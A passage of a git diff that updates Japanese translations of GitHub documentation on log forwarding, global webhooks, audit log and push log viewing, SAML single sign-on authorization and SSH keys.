+1. [**Save**] をクリックします。 ![ログ転送用の [Save] ボタン](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
 {% endif %}
 
 {% ifversion ghes %}
-## Troubleshooting
+## トラブルシューティング
 
-If you run into issues with log forwarding, contact {% data variables.contact.contact_ent_support %} and attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email.
+ログ転送で問題が発生した場合、 `http(s)://[hostname]/setup/diagnostics` のアウトプットファイルをメールに添付し、{% data variables.contact.contact_ent_support %}に連絡してください。
 {% endif %}
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
index 589354bd37..4a6b9c62dc 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks.md
@@ -1,5 +1,5 @@
 ---
-title: Managing global webhooks
+title: グローバルwebhookの管理
 shortTitle: Manage global webhooks
 intro: You can configure global webhooks to notify external web servers when events occur within your enterprise.
 permissions: Enterprise owners can manage global webhooks for an enterprise account.
@@ -23,77 +23,65 @@ topics:
   - Webhooks
 ---
 
-## About global webhooks
+## グローバルwebhookについて
 
-You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)."
+You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. 詳しい情報については、「[webhook](/developers/webhooks-and-events/webhooks)」を参照してください。
 
 For example, you can configure {% data variables.product.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook.
 
-![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
+![グローバル webhook のリスト](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png)
 
 {% data reusables.enterprise_user_management.manage-global-webhooks-api %}
 
-## Adding a global webhook
+## グローバルwebhookの追加
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Click **Add webhook**.
-  ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
-6. Type the URL where you'd like to receive payloads.
-  ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
-7. Optionally, use the **Content type** drop-down menu, and click a payload format.
-  ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
-8. Optionally, in the **Secret** field, type a string to use as a `secret` key.
-  ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
-9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**.
-  ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
+5. **Add webhook（webhookの追加）**をクリックしてください。 ![Admin center の webhook ページ上の webhook 追加ボタン](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png)
+6. ペイロードの受信に使用する URL を入力します。 ![ペイロード URL を入力するフィールド](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png)
+7. **Content type（コンテントタイプ）**ドロップダウンメニューを使ってペイロードの形式をクリックすることもできます。 ![コンテンツタイプのオプションが並ぶドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png)
+8. **Secret（秘密）**フィールドに、`secret`キーとして使う文字列を入力することもできます。 ![シークレットキーとして使う文字列を入力するフィールド](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png)
+9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. SSLの検証に関する情報を読んで、 **I understand my webhooks may not be secure（webhookがセキュアではないかもしれないことを理解しました）**をクリックしてください。 ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png)
 
   {% warning %}
 
-  **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification.
+  **警告:** SSL 検証は、フックのペイロードがセキュアにデリバリされることを保証するのに役立ちます。 SSL 検証を無効化することはおすすめしません。
 
   {% endwarning %}
-10. Decide if you'd like this webhook to trigger for every event or for selected events.
-  ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
-    - For every event, select **Send me everything**.
-    - To choose specific events, select **Let me select individual events**.
+10. Decide if you'd like this webhook to trigger for every event or for selected events. ![ペイロードをすべてのイベントあるいは選択されたイベントで受け取る選択肢のラジオボタン](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png)
+    - すべてのイベントの場合は [**Send me everything**] を選択します。
+    - 特定のイベントを選択するには [**Let me select individual events**] を選択します。
 11. If you chose to select individual events, select the events that will trigger the webhook.
       {% ifversion ghec %}
       ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png)
       {% elsif ghes or ghae %}
       ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png)
       {% endif %}
-12. Confirm that the **Active** checkbox is selected.
-  ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png)
-13. Click **Add webhook**.
+12. Confirm that the **Active** checkbox is selected. ![選択されたアクティブチェックボックス](/assets/images/help/business-accounts/webhook-active.png)
+13. **Add webhook（webhookの追加）**をクリックしてください。
 
-## Editing a global webhook
+## グローバルwebhookの編集
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to edit, click **Edit**.
-  ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
-6. Update the webhook's settings.
-7. Click **Update webhook**.
+5. 編集したいwebhookの隣の**Edit（編集）**をクリックしてください。 ![webhook の隣の編集ボタン](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png)
+6. webhookの設定の更新。
+7. **Update webhook（webhookの更新）**をクリックしてください。
 
-## Deleting a global webhook
+## グローバルwebhookの削除
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. Next to the webhook you'd like to delete, click **Delete**.
-  ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
-6. Read the information about deleting a webhook, then click **Yes, delete webhook**.
-  ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
+5. 削除したいwebhookの隣の**Delete（削除）**をクリックしてください。 ![webhook の隣の削除ボタン](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png)
+6. webhookの削除に関する情報を読んで、**Yes, delete webhook（はい、webhookを削除します）**をクリックしてください。 ![警告情報のポップアップボックスとwebhookの削除ボタン](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png)
 
-## Viewing recent deliveries and responses
+## 最近のデリバリとレスポンスの表示
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-5. In the list of webhooks, click the webhook for which you'd like to see deliveries.
-  ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
-6. Under "Recent deliveries", click a delivery to view details.
-  ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
+5. webhook のリストで、デリバリを見たい webhook をクリックします。 ![各 webhook の表示リンクを持つ webhook のリスト](/assets/images/enterprise/site-admin-settings/click-global-webhook.png)
+6. [Recent deliveries（最近のデリバリ）] の下で、詳細を表示したいデリバリをクリックしてください。 ![詳細表示へのリンクを持つ最近のwebhookのデリバリリスト](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png)
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
index 9fc020f88a..9000531219 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log.md
@@ -1,6 +1,6 @@
 ---
-title: Searching the audit log
-intro: Site administrators can search an extensive list of audited actions on the enterprise.
+title: Audit log を検索する
+intro: サイト管理者は、Enterprise で監査されたアクションの広範なリストを検索できます。
 redirect_from:
   - /enterprise/admin/articles/searching-the-audit-log
   - /enterprise/admin/installation/searching-the-audit-log
@@ -15,37 +15,37 @@ topics:
   - Enterprise
   - Logging
 ---
-## Search query syntax
 
-Compose a search query from one or more key:value pairs separated by AND/OR logical operators.
+## 検索クエリの構文
 
-Key            | Value
---------------:| --------------------------------------------------------
-`actor_id`     | ID of the user account that initiated the action
-`actor`        | Name of the user account that initiated the action
-`oauth_app_id` | ID of the OAuth application associated with the action
-`action`       | Name of the audited action
-`user_id`      | ID of the user affected by the action
-`user`         | Name of the user affected by the action
-`repo_id`      | ID of the repository affected by the action (if applicable)
-`repo`         | Name of the repository affected by the action (if applicable)
-`actor_ip`     | IP address from which the action was initiated
-`created_at`   | Time at which the action occurred
-`from`         | View from which the action was initiated
-`note`         | Miscellaneous event-specific information (in either plain text or JSON format)
-`org`          | Name of the organization affected by the action (if applicable)
-`org_id`       | ID of the organization affected by the action (if applicable)
+AND/ORの論理演算子で区切られた値のペア:1つ以上のキーを使って、検索クエリを構成します。
 
-For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
+|             キー | 値                                       |
+| --------------:| --------------------------------------- |
+|     `actor_id` | アクションを開始したユーザアカウントの ID                  |
+|        `actor` | アクションを開始したユーザアカウントの名前                   |
+| `oauth_app_id` | アクションに関連付けられている OAuth アプリケーションの ID      |
+|       `action` | 監査されたアクションの名前                           |
+|      `user_id` | アクションによって影響を受けたユーザの ID                  |
+|          `ユーザ` | アクションによって影響を受けたユーザの名前                   |
+|      `repo_id` | アクションによって影響を受けたリポジトリの ID （妥当な場合）        |
+|         `repo` | アクションによって影響を受けたリポジトリの名前 （妥当な場合）         |
+|     `actor_ip` | アクション元の IP アドレス                         |
+|   `created_at` | アクションが作成された時間                           |
+|         `from` | アクション元の View                            |
+|         `note` | イベント固有の他の情報（プレーンテキストまたは JSON フォーマット）    |
+|          `org` | アクションによって影響を受けたOrganizationの名前（該当する場合）  |
+|       `org_id` | アクションによって影響を受けたOrganizationの ID（該当する場合） |
+
+たとえば、2017 年の初めからリポジトリ `octocat/Spoon-Knife` に影響を与えたすべてのアクションを確認するには、次のようにします:
 
   `repo:"octocat/Spoon-Knife" AND created_at:[2017-01-01 TO *]`
 
-For a full list of actions, see "[Audited actions](/admin/user-management/audited-actions)."
+アクションの完全なリストについては、「[監査済みのアクション](/admin/user-management/audited-actions)」を参照してください。
 
-## Searching the audit log
+## Audit log を検索する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.audit-log-tab %}
-4. Type a search query.
-![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
+4. 検索クエリを入力します。![検索クエリ](/assets/images/enterprise/site-admin-settings/search-query.png)
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
index 5f6e5fb089..2a27d30993 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing push logs
-intro: Site administrators can view a list of Git push operations for any repository on the enterprise.
+title: プッシュログの表示
+intro: サイト管理者は、Enterprise 上の任意のリポジトリに対する Git プッシュ操作の一覧を確認することができます。
 redirect_from:
   - /enterprise/admin/articles/viewing-push-logs
   - /enterprise/admin/installation/viewing-push-logs
@@ -16,32 +16,31 @@ topics:
   - Git
   - Logging
 ---
-Push log entries show:
 
-- Who initiated the push
-- Whether it was a force push or not
-- The branch someone pushed to
-- The protocol used to push
-- The originating IP address
-- The Git client used to push
-- The SHA hashes from before and after the operation
+プッシュログの項目には次の情報が含まれています。
 
-## Viewing a repository's push logs
+- プッシュを開始した人
+- フォースプッシュであったかどうか
+- プッシュされたブランチ
+- プッシュするために使ったプロトコル
+- プッシュ元の IP アドレス
+- プッシュするために使った Git クライアント
+- 操作前と操作後の SHA ハッシュ
 
-1. Sign into {% data variables.product.prodname_ghe_server %} as a site administrator.
-1. Navigate to a repository.
-1. In the upper-right corner of the repository's page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-    ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+## リポジトリのプッシュログを表示する
+
+1. サイト管理者として {% data variables.product.prodname_ghe_server %} にサインインします。
+1. リポジトリにアクセスします。
+1. In the upper-right corner of the repository's page, click {% octicon "rocket" aria-label="The rocket ship" %}. ![サイトアドミン設定にアクセスするための宇宙船のアイコン](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 {% data reusables.enterprise_site_admin_settings.security-tab %}
-4. In the left sidebar, click **Push Log**.
-![Push log tab](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
+4. 左のサイドバーで、**Push Log（プッシュログ）** をクリックしてください。 ![プッシュログのタブ](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
 
 {% ifversion ghes %}
-## Viewing a repository's push logs on the command-line
+## コマンドラインでリポジトリのプッシュログを表示する
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-1. In the appropriate Git repository, open the audit log file:
+1. 適切な Git リポジトリで Audit log ファイルを開いてください。
   ```shell
-  ghe-repo <em>owner</em>/<em>repository</em> -c "less audit_log"
+  ghe-repo <em>コードオーナー</em>/<em>リポジトリ</em> -c "less audit_log"
   ```
 {% endif %}
diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
index cd89fcbb59..67b2fd85cd 100644
--- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
+++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing a personal access token for use with SAML single sign-on
-intro: 'To use a personal access token with an organization that uses SAML single sign-on (SSO), you must first authorize the token.'
+title: SAMLシングルサインオンで利用するために個人アクセストークンを認可する
+intro: SAMLシングルサインオン (SSO) を使う Organization で個人アクセストークンを使うためには、まずそのキーを認可しなければなりません。
 redirect_from:
   - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
@@ -12,20 +12,19 @@ topics:
   - SSO
 shortTitle: PAT with SAML
 ---
-You can authorize an existing personal access token, or [create a new personal access token](/github/authenticating-to-github/creating-a-personal-access-token) and then authorize it.
+
+既存の個人アクセストークンを認可することも、[新しい個人アクセストークンを作成](/github/authenticating-to-github/creating-a-personal-access-token)して認可することもできます。
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
-3. Next to the token you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-   ![SSO token authorize button](/assets/images/help/settings/sso-allowlist-button.png)
-4. Find the organization you'd like to authorize the access token for.
-4. Click **Authorize**.
-   ![Token authorize button](/assets/images/help/settings/token-authorize-button.png)
+3. 認可したいトークンの隣の [**Enable SSO**] (SSO を有効化) または [**Disable SSO**] (SSOを無効化) をクリックします。 ![SSO トークン認可ボタン](/assets/images/help/settings/sso-allowlist-button.png)
+4. アクセストークンを認可する Organization を見つけます。
+4. [**Authorize**] をクリックします。 ![トークン認可ボタン](/assets/images/help/settings/token-authorize-button.png)
 
-## Further reading
+## 参考リンク
 
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- [個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)
+- [SAML シングルサインオンでの認証について](/articles/about-authentication-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
index 2bd5cef6ba..a985fdfa8e 100644
--- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
+++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing an SSH key for use with SAML single sign-on
-intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.'
+title: SAMLシングルサインオンで利用するためにSSHキーを認可する
+intro: SAML シングルサインオン (SSO) を使う Organization で SSH キーを使うためには、まずそのキーを認可しなければなりません。
 redirect_from:
   - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
@@ -12,25 +12,24 @@ topics:
   - SSO
 shortTitle: SSH Key with SAML
 ---
-You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+既存の SSH キーを認可することも、新しい SSH キーを作成して認可することもできます。 新しい SSH キーの作成に関する詳しい情報については「[新しい SSH キーを生成して ssh-agent へ追加する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% note %}
 
-**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+**メモ:** SSH キーの認可が Organization によって取り消された場合、同じキーを再度認可することはできません。 新しい SSH キーを生成して認可する必要があります。 新しい SSH キーの作成に関する詳しい情報については「[新しい SSH キーを生成して ssh-agent へ追加する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)」を参照してください。
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. Next to the SSH key you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-![SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png)
-4. Find the organization you'd like to authorize the SSH key for.
-5. Click **Authorize**.
-![Token authorize button](/assets/images/help/settings/ssh-sso-authorize.png)
+3. 認可したい SSH キーの隣の [**Enable SSO**] (SSO を有効化) または [**Disable SSO**] (SSOを無効化) をクリックします。 ![SSO トークン認可ボタン](/assets/images/help/settings/ssh-sso-button.png)
+4. SSH キーを認可する Organization を見つけます。
+5. [**Authorize**] をクリックします。 ![トークン認可ボタン](/assets/images/help/settings/ssh-sso-authorize.png)
 
-## Further reading
+## 参考リンク
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- [既存の SSH キーのチェック](/articles/checking-for-existing-ssh-keys)
+- [SAML シングルサインオンでの認証について](/articles/about-authentication-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md
index c609a547c9..d7616746d3 100644
--- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md
+++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md
@@ -1,5 +1,5 @@
 ---
-title: Authenticating with SAML single sign-on
+title: SAMLシングルサインオンで認証する
 intro: 'You can authenticate to {% data variables.product.product_name %} with SAML single sign-on (SSO){% ifversion ghec %} and view your active sessions{% endif %}.'
 redirect_from:
   - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on
diff --git a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
index 466649aa42..490b3778ec 100644
--- a/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
+++ b/translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing your active SAML sessions
-intro: You can view and revoke your active SAML sessions in your security settings.
+title: アクティブな SAML セッションの表示と管理
+intro: セキュリティ設定でアクティブな SAML セッションを表示および削除することができます。
 redirect_from:
   - /articles/viewing-and-managing-your-active-saml-sessions
   - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions
@@ -11,21 +11,19 @@ topics:
   - SSO
 shortTitle: Active SAML sessions
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Under "Sessions," you can see your active SAML sessions.
-   ![List of active SAML sessions](/assets/images/help/settings/saml-active-sessions.png)
-4. To see the session details, click **See more**.
-   ![Button to open SAML session details](/assets/images/help/settings/saml-expand-session-details.png)
-5. To revoke a session, click **Revoke SAML**.
-   ![Button to revoke a SAML session](/assets/images/help/settings/saml-revoke-session.png)
+3. [Sessions] で、アクティブな SAML セッションを確認できます。 ![アクティブな SAML セッションのリスト](/assets/images/help/settings/saml-active-sessions.png)
+4. セッションの詳細を表示するには、[**See more**] をクリックします。 ![SAML セッションの詳細を開くボタン](/assets/images/help/settings/saml-expand-session-details.png)
+5. セッションを取り消すには、[**Revoke SAML**] をクリックします。 ![SAML セッションを削除するボタン](/assets/images/help/settings/saml-revoke-session.png)
 
   {% note %}
 
-  **Note:** When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **メモ:** セッションを削除すると、その Organization に対する SAML 認証が削除されます。 Organization に再びアクセスするには、アイデンティティプロバイダを介してシングルサインオンする必要があります。 詳細は「[SAML SSO による認証について](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)」を参照してください。
 
   {% endnote %}
 
-## Further reading
+## 参考リンク
 
-- "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- 「[SAML SSO による認証について](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)」
diff --git a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/about-ssh.md
index a649ffb628..0a4c512554 100644
--- a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/about-ssh.md
+++ b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/about-ssh.md
@@ -1,6 +1,6 @@
 ---
-title: About SSH
-intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.product_name %} without supplying your username and personal access token at each visit.'
+title: SSH について
+intro: 'SSH プロトコルを利用すれば、リモートのサーバーやサービスに接続し、認証を受けられます。 SSH キーを使用すると、アクセスのたびにユーザ名と個人アクセストークンを入力することなく {% data variables.product.product_name %} に接続できます。'
 redirect_from:
   - /articles/about-ssh
   - /github/authenticating-to-github/about-ssh
@@ -13,22 +13,23 @@ versions:
 topics:
   - SSH
 ---
+
 When you set up SSH, you will need to generate a new SSH key and add it to the ssh-agent. You must add the SSH key to your account on {% data variables.product.product_name %} before you use the key to authenticate. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" and "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
 
-You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. 詳しい情報については[SSH キーのパスフレーズを使う](/github/authenticating-to-github/working-with-ssh-key-passphrases)を参照してください。
 
 {% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
-To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see "[Reviewing your SSH keys](/github/authenticating-to-github/reviewing-your-ssh-keys)."
+To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. 詳細は「[SSH キーをレビューする](/github/authenticating-to-github/reviewing-your-ssh-keys)」を参照してください。
 
 {% ifversion fpt or ghec %}
-If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see "[Deleted or missing SSH keys](/articles/deleted-or-missing-ssh-keys)."
+SSH キーを 1 年間使っていない場合、セキュリティ上の理由により {% data variables.product.prodname_dotcom %} は使われていない SSH キーを自動的に削除します。 詳細は「[削除されたか存在しない SSH キー](/articles/deleted-or-missing-ssh-keys)」を参照してください。
 {% endif %}
 
-If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)."
+If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. 詳しい情報については、「[SSH 認証局について](/articles/about-ssh-certificate-authorities)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[Testing your SSH connection](/articles/testing-your-ssh-connection)"
-- "[Troubleshooting SSH](/articles/troubleshooting-ssh)"
+- [既存の SSH キーのチェック](/articles/checking-for-existing-ssh-keys)
+- [SSH コネクションのテスト](/articles/testing-your-ssh-connection)
+- [SSH のトラブルシューティング](/articles/troubleshooting-ssh)
diff --git a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
index be6ac9b733..3a26335e44 100644
--- a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
+++ b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -25,7 +25,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% mac %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. SSH 公開鍵をクリップボードにコピーします。
@@ -57,8 +56,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% windows %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. SSH 公開鍵をクリップボードにコピーします。
@@ -90,7 +87,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% linux %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. SSH 公開鍵をクリップボードにコピーします。
diff --git a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
index 98e191c19b..ddfbcc8fcc 100644
--- a/translations/ja-JP/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
